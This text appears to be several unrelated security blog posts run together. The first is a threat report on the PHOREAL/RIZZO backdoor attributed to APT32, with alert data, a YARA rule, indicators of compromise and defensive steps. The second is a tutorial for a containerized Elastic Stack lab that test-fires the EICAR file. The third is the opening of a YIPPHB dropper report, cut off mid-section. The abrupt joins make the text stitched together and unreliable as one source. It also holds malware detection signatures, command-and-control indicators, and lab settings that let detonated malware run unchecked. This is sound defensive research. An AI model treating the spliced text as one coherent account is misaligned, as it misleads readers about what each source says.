Elastic Security has identified an ongoing campaign targeting a Vietnamese financial services institution with the PHOREAL/RIZZO backdoor. While this malware has been in use for some time, this is the first time that we have observed it loading into memory as a defense evasion and campaign protection technique. Upon analysis of our own observations and previously reported information, we are tracking this activity group (malware + technique + victimology) as REF4322.

What is the threat?

PHOREAL/RIZZO is a backdoor allowing initial victim characterization and follow-on post-exploitation operations to compromise the confidentiality of organizations’ data. It has been reported in other research as being used exclusively by APT32 (AKA SeaLotus, OceanLotus, APT-C-00, Group G0050).

What is the impact?

APT32 largely targets victims with political or economic interests in Southeast Asia, specifically Vietnam.

What is Elastic doing about it?

Elastic Security detailed how to triage one of these threat alerts, extracted observables for endpoint and network filtering, and produced a new malware signature for identification and mitigation of the threat across the fleet of deployed Elastic Agents.

Investigation Details

While conducting Threat Discovery & Monitoring operations, Elastic Security researchers identified a cluster of shellcode_thread Windows memory protection alerts generated from an Elastic Agent endpoint sensor. These particular alerts were interesting because they all occurred within the same cluster, and unusually they targeted the control.exe process. The Windows control.exe process handles the execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Generally when we observe false positives for the shellcode_thread protection, it is identified across a broad user-base and in many cases it is attributed to various gaming anti-cheat or DRM (Digital Rights Management) mechanisms. In this case, a single cluster and a Microsoft signed target process was atypical, and worthy of further investigation.

You can read more about Elastic Security’s memory protections HERE and about in-memory attacks HERE.

With our interest piqued from the outlier characteristics of the alerts, we investigated further to validate and characterize the threat:

Targeted process is a signed Windows binary

...
"process": {
     "args": [
       "control.exe",
       "Firewall.cpl",
       "{2D48D219-C306-4349-AE1F-09744DFFB5B9}"
     ],
     "Ext": {
       "code_signature": [
         {
           "trusted": true,
           "subject_name": "Microsoft Windows",
           "exists": true,
           "status": "trusted"
         }
       ],
       "dll": [
...

Unsigned loaded .dll

...
   "Ext": {
     "mapped_address": 1945501696,
     "mapped_size": 21135360
   },
   "path": "C:\\Windows\\SysWOW64\\tscon32.dll",
   "code_signature": [
     {
       "exists": false
     }
   ],
   "name": "tscon32.dll",
   "hash": {
     "sha1": "007970b7a42852b55379ef4cffa4475865c69d48",
     "sha256": "ec5d5e18804e5d8118c459f5b6f3ca96047d629a50d1a0571dee0ac8d5a4ce33",
     "md5": "2b6da20e4fc1af2c5dd5c6f6191936d1"
   }
 },
...

Starting module from the alerting thread

...
 "pe": {
   "original_file_name": "CONTROL.EXE"
 },
 "name": "control.exe",
 "pid": 5284,
 "thread": {
   "Ext": {
     "start_address_module": "C:\\Windows\\SysWOW64\\tscon32.dll",
...

Alerting memory region metadata

...
"memory_region": {`
   "region_size": 73728,
   "region_protection": "RWX",
   "allocation_base": 81395712,
   "bytes_allocation_offset": 0,
   "allocation_type": "PRIVATE",
   "memory_pe_detected": true,
   "region_state": "COMMIT",
   "strings": [
     "QSSSSSSh ",
     ...
     "bad cast",
     "Local\\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}",
     "Netapi32.dll",
     "NetWkstaGetInfo",
     "NetApiBufferFree",
     "\\\\.\\pipe\\{A06F176F-79F1-473E-AF44-9763E3CB34E5}",
     "list<T> too long",
     "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll",
     "DllEntry",
     ...
     ".?AVbad_alloc@std@@",
     "C:\\Windows\\syswow64\\control.exe",
     ":z:zzzzzz7",
     ...
     "InternalName",
     "mobsync.exe",
     "LegalCopyright",
...

Thread data for pivoting

...
"thread": {
 "Ext": {
   "start_address_bytes": "8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300",
   ...
   "start_address_bytes_disasm": "mov edi, edi\npush ebp\nmov ebp, esp\ncall 0x000043f0\ncall 0x000043ea\npush eax\ncall 0x000043d0\ntest eax, eax\njnz 0x00000038\npush dword ptr [ebp+0x08]"
 },
...

From the example alert we first identify the start_address_module which is the dll/module where the thread began. C:\Windows\SysWOW64\tscon32.dll is the start_address_module for the thread that we’ve alerted on. It’s also the only unsigned dll loaded, so a great place to focus our efforts. When checking the hash value in VirusTotal, to identify previously disclosed information about the sample, we did not see any results.

Digging deeper, we looked at the start_address_bytes, which are the first 32 bytes of our alerting thread. We can use the value of the start_address_bytes (8bff558bece8e6430000e8db43000050e8bb43000085c0751fff7508e8c94300) to search for pivots in VirusTotal by querying content: {8bff558bec56e83f3e0000e8343e000050e8143e000085c0752a8b750856e821}. We identified relatively few results, but they included the below entry first submitted in July 2021.

In researching the results from VirusTotal, we could see that threat researcher Felix Bilstein (@fxb_b) authored a crowdsourced YARA rule identifying this as the PHOREAL backdoor. Moving on to the CONTENT tab, we can compare some of the strings from our alert with what has been previously reported to VirusTotal.

Using the unique strings we identified above and the start_address_bytes, we can create a YARA signature by converting the unique strings ($a) and the start_address_bytes ($b) into hex values as shown below.

Converted YARA strings

strings:
          \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
    $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
            30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
            31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
            2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
            45 00 35 00 7D 00 }

          \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
    $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
            33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
            32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
            37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

          \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
    $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
            34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

          \\  PHOREAL start_address_bytes sequence
          \\  mov edi, edi; push ebp; mov ebp, esp; call 0x000043f0;
          \\  call 0x000043ea; push eax; call 0x000043d0; test eax, eax;
          \\  jnz 0x00000038; push dword ptr [ebp+0x08]
    $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
            00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
condition:
    2 of them

This rule when deployed to the Elastic Agent will identify PHOREAL to customers and backstop prevention already provided through the shellcode_thread memory protection (in customer environments with memory protection turned on). In our case this rule’s deployment also enabled the collection of the malicious thread using the same mechanism detailed in our Collecting Cobalt Strike Beacons article.

Shortly after the new YARA artifact was deployed we had a new malware_signature alert in hand with the malicious thread captured from memory. Manual binary triage from our Malware Analysis and Reverse Engineering (MARE) Team quickly confirmed the sample was PHOREAL/RIZZO by comparing the structure and functions between our sample and past reporting. Further, they were able to extract an RC4 encrypted domain from an RCDATA resource as described in a 2018 CYLANCE OceanLotus whitepaper.

The domain identified by MARE (thelivemusicgroup[.]com) currently resolves to 103.75.117[.]250 which is owned by Oneprovider[.]com, a dedicated server hosting company based out of Canada with data centers distributed globally.

https://ipinfo.io/ query results for 103.75.117[.]250

{
  "ip": "103.75.117[.]250",
  "city": "Hong Kong",
  "region": "Central and Western",
  "country": "HK",
  "loc": "22.2783,114.1747",
  "org": "AS133752 Leaseweb Asia Pacific pte. ltd.",
  "timezone": "Asia/Hong_Kong",
  "asn": {
    "asn": "AS133752",
    "name": "Leaseweb Asia Pacific pte. ltd.",
    "domain": "leaseweb.com",
    "route": "103.75.117[.]0/24",
    "type": "hosting"
  },
  "company": {
    "name": "Oneprovider.com - Hong Kong Infrastructure",
    "domain": "oneprovider[.]com",
    "type": "hosting"
  },
  "privacy": {
    "vpn": false,
    "proxy": false,
    "tor": false,
    "relay": false,
    "hosting": true,
    "service": ""
  },
  "abuse": {
    "address": "1500 Ste-Rose LAVAL H7R 1S4 Laval Quebec, Canada",
    "country": "CA",
    "email": "info@oneprovider.com",
    "name": "ONE PROVIDER",
    "network": "103.75.117[.]0/24",
    "phone": "+1 514 286-0253"
  },
  "domains": {
    "ip": "103.75.117[.]250",
    "total": 2,
    "domains": [
      "thelivemusicgroup[.]com",
      "cdn-api-cn-1[.]com"
    ]
  }

Most of the interesting information about the domain is privacy guarded, but the “Updated” and “Created” dates in the below figure might be useful for bounding how long this domain has been used maliciously.

The Elastic Agent appears to have been deployed post-compromise which limited our ability to determine the vector of initial access. A 2017 Mandiant report indicates that PHOREAL may be deployed in an “establish foothold” capacity to allow for victim triage and follow-on post-exploitation tools.

Analysis

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries and victims of intrusions.

Adversary Assessment Justification

We assess with high confidence based on observed activity and previous reporting that REF4322 is APT32/OceanLotus and the actor behind this incident. APT32 has been active since 2014 notably targeting Southeast Asian governments and businesses or other international businesses with interests in Vietnam. APT32 is the only group currently identified as operating the PHOREAL backdoor, and our victim matches the geographic and industry vertical profile of typical and specific prior APT32 victims.

Conclusion

YARA Rules

We have created a YARA rule to identify this PHOREAL activity.

Yara rule to detect REF4322/APT32 in-memory backdoor PHOREAL/Rizzo

rule Windows_Trojan_PHOREAL {
    meta:
        Author = "Elastic Security"
        creation_date = "2022-02-16"
        last_modified = "2022-02-16"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "PHOREAL"
        threat_name = "Windows.Trojan.PHOREAL"
        description = "Detects REF4322/APT32 in-memory backdoor PHOREAL/Rizzo."
        reference_sample = "88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de"


    strings:
              \\  "\\.\pipe\{A06F176F-79F1-473E-AF44-9763E3CB34E5}"  ascii wide
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00
                30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00
                31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00
                2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00
                45 00 35 00 7D 00 }

              \\  "Local\{5FBC3F53-A76D-4248-969A-31740CBC8AD6}"  ascii wide
        $a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00
                33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00
                32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00
                37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }

              \\  "{FD5F8447-657A-45C1-894B-D533926C9B66}.dll"  ascii
        $a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39
                34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }

              \\  PHOREAL start_address_bytes sequence
        $str_addr = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E
                00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
    condition:
        2 of them
}

Defensive Recommendations

The following steps can be leveraged to improve a network’s protective posture:

1. Enable Elastic Security Memory Protection on Windows endpoints
2. Leverage the included YARA signatures above to determine if PHOREAL activity exists within your organization
3. Monitor or block network traffic to or from identified network IOCs and remediate impacted systems accordingly.

References

The following research was referenced throughout the document:

• https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2018/2018.10.17.OceanLotus_SpyRATs/SpyRATsofOceanLotusMalwareWhitePaper.pdf
• https://www.mandiant.com/resources/cyber-espionage-apt32
• https://www.secureworks.com/research/threat-profiles/tin-woodlawn
• https://attack.mitre.org/software/S0158/
• https://attack.mitre.org/groups/G0050/

Observables

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

The Elastic Stack is a modular data analysis ecosystem. While this allows for engineering flexibility, it can be cumbersome to stand up a development instance for testing. The easiest way to stand up the Elastic Stack, is to use Elastic Cloud - it’s completely turnkey. However, there could be situations where Elastic Cloud won’t work for your testing environment. To help with this, this blog will provide you with the necessary information required in order to quickly and painlessly stand up a local, fully containerized, TLS-secured, Elastic Stack with Fleet and the Detection Engine enabled. You will be able to create a Fleet policy, install an Elastic Agent on a local host or VM, and send the data into your stack for monitoring or analysis.

This blog will cover the following:

• The Elastic Stack
• The Elastic Container project
• How to use the Elastic Container project
• How to navigate Kibana and use its related features for security research

The Elastic Container Project is not sponsored or maintained by the company, Elastic. Design and implementation considerations for the project may not reflect Elastic’s guidance on deploying a production-ready stack.

The Elastic Stack

The Elastic Stack is made up of several different components, each of which provide a distinct capability that can be utilized across a wide variety of use cases.

Elasticsearch

Elasticsearch is a distributed, RESTful search and analytics engine. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine-tuned relevancy, and powerful analytics that scale with ease.

Kibana

Kibana is the user interface that lets you visualize your Elasticsearch data and manage the Elastic Stack.

The Elastic Agent

The Elastic Agent is the modular agent that allows you to collect data from an endpoint or act as a vehicle to ship data from 3rd party sources, like threat feeds. The Elastic Security integration for endpoints prevents ransomware and malware, detects advanced threats, and arms responders with vital investigative context.

The Elastic Container Project

As mentioned above, the Elastic Stack is modular which makes it very flexible for a wide variety of use cases but this can add complexity to the implementation.

The Elastic Container project is an open source project that uses Docker Compose as a way to stand up a fully-functional Elastic Stack for use in non-production environments. This project is not sponsored or maintained by the Elastic company.

Introduction

The Elastic Container Project includes three main components:

• Elasticsearch
• Kibana
• the Elastic Agent

The project leverages Docker Compose, which is a tool to build, integrate, and manage multiple Docker containers.

To simplify the management of the containers, the project includes a shell script that allows for the staging, starting, stopping, and destroying of the containers.

Additionally, the project makes use of self-signed TLS certificates between Elasticsearch and Kibana, Kibana and your web browser, the Elastic Agent and Elasticsearch, and the Elastic Agent and Kibana.

Prerequisites

The project was built and tested on Linux and macOS operating systems. If you are using Windows, you’ll not be able to use the included shell script, but you can still run native Docker Compose commands and manually perform post-deployment steps.

While not thoroughly tested, it is recommended that you contribute 4 cores and 8 GB of RAM to Docker.

There are only a few packages you need to install:

• Docker
• Docker Compose
• jq
• Git
• cURL

macOS

If you’re running on macOS, you can install the prerequisites using Homebrew, which is an open-source package management system for macOS. Check out the Homebrew site for information on installing it if needed.

**brew install jq git**
**brew install --cask docker**

Linux

If you’re running on Linux, you can install the prerequisites using your package management system ( DNF , Yum , or APT ).

RPM-based distributions

**dnf install jq git curl**

Ubuntu

**apt-get install jq git curl**

You'll also need the Docker suite (including the docker-compose-plugin ). Check out Docker's installation instructions for your OS'

Cloning the project repository

The Elastic Container project is stored on Github. As long as you have Git installed, you can collect it from your CLI of choice.

**git clone https://github.com/peasead/elastic-container.git**
**cd elastic-container**

This repository includes everything needed to stand up the Elastic Stack containers using a single shell script.

Setting credentials

Before proceeding, ensure you update the credentials for the Elastic and Kibana accounts in the .env file located in the root directory of the repository from their defaults of changeme.

The shell script

As mentioned above, the project includes a shell script that will simplify the management of the containers.

**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
 **help print this message**
 **flags:**
 **-v enable verbose output**

Stage

This option downloads all of the containers from the Elastic Docker hub. This is useful if you are going to be building the project on a system that does not always have Internet access. This is not required, you can skip this option and move directly to the start option, which will download the containers.

**$ ./elastic-container.sh stage**
**8.3.0: Pulling from elasticsearch/elasticsearch**
**7aabcb84784a: Already exists**
**e3f44495617d: Downloading [====\\>] 916.5kB/11.26MB**
**52008db3f842: Download complete**
**551b59c59fdc: Downloading [\\>] 527.4kB/366.9MB**
**25ee26aa662e: Download complete**
**7a85d02d9264: Download complete**
**…**

Start

This opinion will create the container network, download all of the required containers, set up the TLS certificates, and start and connect Elasticsearch, Kibana, and the Fleet server containers together. This option is a “quick start” to get the Elastic Stack up and running. If you have not changed your credentials in the .env file from the defaults, the script will exit.

**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers**
**[+] Running 7/8**
 **⠿ Network elastic-container\_default Created 0.0s**
 **⠿ Volume "elastic-container\_certs" Created 0.0s**
 **⠿ Volume "elastic-container\_esdata01" Created 0.0s**
 **⠿ Volume "elastic-container\_kibanadata" Created 0.0s**
 **⠿ Container elasticsearch-security-setup Waiting 2.0s**
 **⠿ Container elasticsearch Created 0.0s**
**…**

Stop

This option will stop all running containers in the project, but will not remove them.

**$ ./elastic-container.sh stop**

**Stopping running containers.**
**[+] Running 4/4**
 **⠿ Container elastic-agent Stopped 0.0s**
 **⠿ Container kibana Stopped 0.0s**
 **⠿ Container elasticsearch Stopped 0.0s**
 **⠿ Container elasticsearch-security-setup Stopped**
**…**

Destroy

This option will stop all running containers in the project, remove the container network, remove all data volumes, and remove all containers.

**$ ./elastic-container.sh destroy**

**#####**
**Stopping and removing the containers, network, and volumes created.**
**#####**
**[+] Running 8/4**
 **⠿ Container elastic-agent Removed 0.0s**
 **⠿ Container kibana Removed 0.0s**
 **⠿ Container elasticsearch Removed 0.0s**
 **⠿ Container elasticsearch-security-setup Removed 0.3s**
 **⠿ Volume elastic-container\_esdata01 Removed 0.0s**
 **⠿ Network elastic-container\_default Removed 0.1s**
**…**

Restart

This option restarts all of the project containers.

**$ ./elastic-container.sh restart

#####
Restarting all Elastic Stack components.
#####
Name Command State Ports
---------------------------
elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\>9200/tcp, 9300/tcp
fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\>8220/tcp
kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\>5601/tcp**

Status

This option returns the status of the project containers.

**$ ./elastic-container.sh status**
**Name Command State Ports**
**---------------------------**
**elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\>9200/tcp, 9300/tcp**
**fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\>8220/tcp**
**kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\>5601/tcp**

Clear

This option clears all documents in the logs and metrics indices.

**$ ./elastic-container.sh clear**

**Successfully cleared logs data stream**
**Successfully cleared metrics data stream**

Help

This option provides instructions on using the shell script.

**$ ./elastic-container.sh help**

**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates a container network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
**clear all documents in logs and metrics indexes**
 **help print this message**
**flags:**
 **-v enable verbose output**

Getting Started

Now that we’ve walked through the project overview and the shell script, let’s go through the process of standing up your own stack.

Updating variables

All of the variables are controlled in an environment file ( .env ) that is at the root of the repository. The only things that you must change are the default usernames and passwords for elastic and kibana.

Open the .env file with whatever text editor you’re most comfortable with and update the ELASTIC_PASSWORD and KIBANA_PASSWORD variables from changeme to something secure. If you do not update the credentials from the defaults in the .env file, the script will exit.

If you want to change the other variables (such as the stack version), you can do so in this file.

Starting the Elastic Stack

Starting the project containers is as simple as running the elastic-container.sh shell script with the start option.

**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers
[+] Running 7/8
⠿ Network elastic-container\_default Created 0.0s
⠿ Volume "elastic-container\_certs" Created 0.0s
⠿ Volume "elastic-container\_esdata01" Created 0.0s
⠿ Volume "elastic-container\_kibanadata" Created 0.0s
⠿ Container elasticsearch-security-setup Waiting 2.0s
⠿ Container elasticsearch Created 0.0s
⠿ Container kibana Created 0.1s
⠿ Container fleet-server Created 0.2s

Attempting to enable the Detection Engine and Prebuilt-Detection Rules
Kibana is up. Proceeding
Detection engine enabled. Installing prepackaged rules.
Prepackaged rules installed!
Waiting 40 seconds for Fleet Server setup
Populating Fleet Settings
READY SET GO!

Browse to https://localhost:5601
Username: elastic
Passphrase: you-changed-me-from-the-default-right?**

Accessing the Elastic Stack

Once the containers have all downloaded and started, you’ll get an output that tells you to browse to https://localhost:5601.

Note: You’ll need to accept the self-signed TLS certificate.

Enabling the Platinum Features

Enabling the Platinum license features are completely optional. Security features, like anti-malware, EDR, EPP, etc. are included in the Basic license. Memory, behavior, and ransomware protections are Platinum license features. If you want to change your license, we can do that with the .env file or from within Kibana. You can update to Elastic Platinum for 30-days.

If you want to use the .env file so that the features are enabled when the stack is built, change LICENSE=basic to LICENSE=trial and then start the project as normal.

If you prefer to use Kibana, click on the hamburger menu, and then click on Stack Management.

Click on License Management and then “Start a 30-day trial”.

Creating a Fleet policy

Now that we have the entire Elastic Stack up and running, we can make a Fleet policy. Fleet is a subroutine of an Elastic Agent (which was built when we ran the start option in the shell script) that enables you to manage other Elastic Agents, policies, and integrations.

Fleet is managed in Kibana, the UI that allows you to interact with data stored in Elasticsearch and manage your Elastic stack. If you’re interested in learning more about Kibana, check out the free training videos.

Log into your Kibana instance and click on the “hamburger” menu on the top left, and navigate down to “Fleet”, under the “Management” section.

Next, click on the “Agent policies” tab and then the “Create agent policy” button.

Give your new policy a name and a description (optional). Normally, we uncheck the “Collect agent logs” and “Collect agent metrics” options because it’s additional data going to the stack that we generally don’t need for our specific use-case. If you’re doing troubleshooting or interested in what’s happening behind the scenes, this data can help you understand that.

Next, click on your new policy and the blue “Add integration” button.

There are hundreds of integrations, but the ones that we’re most interested in for this blog are for Elastic Security.

To install Elastic Security, simply click on the tile on the main integrations page or search for “security”.

Next, click the “Add Endpoint and Cloud Security” button to install this integration into the policy we just created.

Name the integration and click the blue “Save and continue” button.

While the Endpoint and Cloud Security and System integrations will collect security related logs, if you’re using Sysmon on a Windows host, you may want to add the “Windows” integration to collect those logs.

Once the integration is installed, you’ll be prompted to add more Agents or to do that later. Select the “Add Elastic Agent later” option so we can make a few more changes to our policy.

Now we’ll be dropped back to our policy page.

We should have two integrations for our policy: security and system-1.

Before we add any agents, we’ll want to set our Elastic Agent to Detect (so that it allows the malware to completely execute), register the Elastic Agent as a trusted AV solution (Windows only), and instruct the Endpoint and Cloud Security integration to collect memory samples from security events. This is tremendously helpful for “fileless” malware that injects directly into memory, like Cobalt Strike.

If you want to learn more about extracting malware beacons from events generated by the Elastic Agent, check out our other publications and repositories.

To allow the malware to continue to execute, on your “Windows” policy page, click on the name of the integration (“security” in our example), set the Protection level to “Detect”.

Repeat these steps for the Ransomware, Memory threat protections, and Malicious behavior sections.

We’re setting the Elastic Agent to Detect so that the malware we’re detonating will run completely so that we can analyze the entire execution chain. If you want the malware to be stopped, you can leave this in Prevent mode.

Next, scroll to the bottom and select the “Register as antivirus” toggle and click on the “Show advanced settings” hyperlink.

Scroll down to windows.advanced.memory_protection.shellcode_collect_sample , windows.advanced.memory_protection.memory_scan_collect_sample , and windows.advanced.memory_protection.shellcode_enhanced_pe_parsing options and set the value to true.

As mentioned above, these steps are for labs, sandboxes, testing, etc. These settings can generate a lot of data, so setting these for production will need resourcing and sizing considerations.

If you’re making a policy for Linux or macOS, repeat these for the proper OS.

Once we’re done with all of the post-installation configurations, we can click the blue Save integration button.

Enabling Elastic’s Prebuilt Detection Rules

Now that we have created our Fleet agent policy we need to enable the set of pre-built detection rules associated with the OS or platform we will be deploying on (e.g Windows). To do this you will need to go to the Alerts page within the security app.

Click on the hamburger menu and select Alerts, under the Security solution.

Next, click on the blue Manage Rules button.

Once on the Rules page you can update all of the prebuilt rules provided by Elastic by clicking on the “Update Elastic prebuilt rules” button. The update framework is enabled when you go into the “Manage rules” section for the first time, if the “Update Elastic prebuilt rules” button isn’t present, refresh the screen.

Once the rules have been updated, you can browse the available detection rules, search them by a number of different patterns or simply filter by tag, which is what we will do here by searching for Windows rules.

Now we can select all of the Windows rules.

Once all of the rules have been selected, we can bulk enable them.

As the Elastic Container Project runs completely inside single Docker containers, performance impacts could be noticed if you enable all of the rules available. Explore the different rules and enable or disable them based on your infrastructure and use cases.

After we have enabled these rules they will be live and will be run against the data your endpoint agent sends into your stack. When the Detection Engine rules are triggered, they will be raised in the Alerts page in the Security Solution.

Enrolling an Elastic Agent

Still in Fleet, we have several ways to add an Elastic Agent. The most straightforward is from within the policy that we want to enroll an Elastic Agent into (otherwise you have to specify which policy you want to use). It doesn’t really matter which approach you use, but clicking on the Actions button and then Add agent works from just about anywhere in Fleet.

Scroll down and click on the OS that you’re going to be installing the Elastic Agent on, and copy/paste the instructions directly into a terminal window on the host you’re going to be installing the agent onto. Note, if you’re using Windows, use a Powershell CLI that is running as (or elevated to) an account with administrative entitlements.

Of note, because all of our TLS certificates are self-signed, we need to append the –insecure flag. This is unnecessary if you are using trusted certificates.

**.\elastic-agent.exe install --url=https://[stack-ip]:8220 --enrollment-token=[token] --insecure**

Back in Kibana, we can see confirmation that the Elastic Agent installed on the host and that data is being recorded into Elasticsearch.

We can see that the Elastic Agent is reporting into Fleet and is healthy.

If we go into the Discover tab, we can see various event types reporting into Elasticsearch. We can generate some test data by opening notepad.exe , calc.exe , and ping.exe -t www.elastic.co on the host. From Discover, we can make a simple query to validate that we’re seeing the data:

**process.name.caseless : (notepad.exe or ping.exe or calc.exe)**

Now that we’ve validated that we’re seeing data. Let's fire some malware!

Test fire some malware

There are a lot of places you can download malware from, but for this test, we’ll simply use the industry standard EICAR anti malware test file to check the functionality.

The EICAR test is a file that is universally identified by security vendors and is used to test the operation of anti malware software and platforms. It contains a single string and is non-malicious.

From within the Windows host, we’ll use Powershell to download the EICAR file.

**Invoke-WebRequest -Uri "https://secure.eicar.org/eicar.com.txt" -OutFile "eicar.txt"**

As expected, the event was immediately identified by the Elastic Agent’s security integration.

After a few minutes, the events are recorded into the Security Solution within Kibana. You can get there by clicking on the hamburger menu and then clicking on the Alerts section.

Here we can see the alert populated.

If we click on the Analyzer button, we can dig into the event to identify the process that generated the event.

In our example, we can see powershell.exe generated the event and this includes the correlated network events - secure.eicar.org , which is where the EICAR test file was downloaded from.

Summary

In this publication, we introduced you to the Elastic Stack and an open source project that can be used to quickly and securely stand up the entire stack for testing, labs, and security research.

Kibana and the Security Solution are powerful tools that are built by incident responders, threat hunters, and intelligence analysts with security practitioners in mind. To learn more about how to use these tools, Elastic has some great (free and paid) training that can help learn how to use Kibana for threat hunting.

• Elastic Security Labs identified 12 clusters of activity using a similar TTP of threading Base64 encoded strings with Unicode icons to load the YIPPHB dropper.
• YIPPHB is an unsophisticated, but effective, dropper used to deliver RAT implants going back at least May of 2022.
• The initial access attempts to use Unicode icons embedded in Powershell to delay automated analysis.

Preamble

While reviewing telemetry data, Elastic Security Labs identified abnormal arguments during the execution of Powershell. A closer examination identified the use of Unicode icons within Base64-encoded strings. A substitution mechanism was used to replace the icons with ASCII characters.

Once the icons were replaced with ASCII characters, a repetitive process of collecting Base64 encoded files and reversed URLs was used to execute a dropper and a full-featured malware implant. The dropper and malware implant was later identified as YIPPHB and NJRAT, respectively.

This research focused on the following:

• Loader phase
• Dropper phase
• RAT phase
• Activity clusters
• Network infrastructure
• Hunting queries

Analysis

The analysis of this intrusion set describes an obfuscation method we believe is intended to evade automated analysis of PowerShell commands, and which we characterize as rudimentary and prescriptive.

Loader phase

While analyzing Powershell commands in Elastic’s telemetry, we observed Unicode icons embedded into Powershell commands. The use of Unicode to obfuscate Powershell commands is not a technique we have observed.

